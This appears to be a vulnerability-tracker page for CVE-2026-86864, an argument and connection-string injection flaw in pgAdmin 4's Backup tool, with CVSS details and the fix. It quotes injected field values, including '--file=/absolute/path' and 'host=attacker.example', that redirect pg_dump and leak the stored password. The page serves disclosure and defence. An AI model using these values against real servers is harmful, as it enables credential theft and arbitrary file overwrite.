nday
CVE-2026-86864

pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool

pgadmin.org / pgAdmin 4

CVE 공개: . nday가 아직 패치 근거를 수집하지 않았습니다. 패치가 없다는 뜻은 아닙니다. PoC 출처 4곳 모두 미등재. CISA KEV 미등재.

why these tags

nday derives these tags by fixed rules from the facts below; NVD, the CNA and other sources do not assign them. Vocabulary and rules: ~/tags.

command injection
CWE-88, stated by the CNA PostgreSQL 및 NVD, republishing f86ef6dc-4d3a-42ad-8f28-e6d5547a5007
path traversal
CWE-22, stated by the CNA PostgreSQL 및 NVD, republishing f86ef6dc-4d3a-42ad-8f28-e6d5547a5007
network
AV:N in CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (CVSS 4.0) from the CNA PostgreSQL
no user interaction
UI:N in CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (CVSS 4.0) from the CNA PostgreSQL
현재 단계
DIS
공개
CVSS
8.7 HIGH v4.0

생명주기

가로축 UTC. 점 = 분 단위, 넓은 막대 = 날짜만, 빈 표시 = 불명 또는 추정.
시점 알 수 없음
DIS공개
09-17T15:31Z
PAT패치
아직 기록 없음
ANA분석
아직 기록 없음
POCPoC
아직 기록 없음
ITW악용
아직 기록 없음
KEVKEV
아직 기록 없음

요약

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.

The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.

The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.

This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

Original text of the CVE record (cvelist), shown as published.

Exploit conditions

What an attack needs, read from the CVSS vector.
Attack vector AV:N
Network: the attacker only needs to reach it over the network
Attack complexity AC:L
Low: no target-specific security measures to get around
Attack requirements AT:N
None: success does not depend on how the target is deployed or running
Privileges required PR:L
Low: ordinary user privileges
User interaction UI:N
None: no action by anyone other than the attacker

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS 4.0 vector from the CVE record, scored by the CNA PostgreSQL.

이벤트 로그

+DISCVE 공개

CVE 레코드 공개(CNA: PostgreSQL). CVSS 8.7(높음).

출처 cvelist · nday 일괄 수집 · 원본
{
  "id": 450595,
  "type": "disclosed",
  "source": "cvelist",
  "url": "https://www.cve.org/CVERecord?id=CVE-2026-86864",
  "occurred_at": "2026-09-17T15:31:00.492Z",
  "observed_at": "2026-11-13T05:40:13.149746Z",
  "is_backfill": true,
  "dedupe_key": "",
  "detail": {
    "cvss": {
      "source": "cna",
      "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "version": "4.0",
      "base_score": 8.7,
      "base_severity": "HIGH"
    },
    "ssvc": {
      "timestamp": "2026-09-17T15:59:44.950479Z",
      "automatable": "no",
      "exploitation": "none",
      "technical_impact": "total"
    },
    "state": "PUBLISHED",
    "date_published": "2026-09-17T15:31:00.492Z",
    "assigner_short_name": "PostgreSQL"
  }
}

Report an error

report an error or omission

Something on this page wrong or missing? Tell the editors; if they accept it, this page's revision log says so publicly. Upstream data is not changed.

연구자 논의

최근 7일간 연구자 0명이 언급

목록의 연구자가 X에서 이 CVE를 언급한 게시물입니다. 원문 그대로 보여 주며 nday는 검증하지 않습니다.

명단의 연구자가 X에서 이 CVE를 언급한 게시물은 아직 수집되지 않았습니다.

Discussion

0 comments

No comments yet.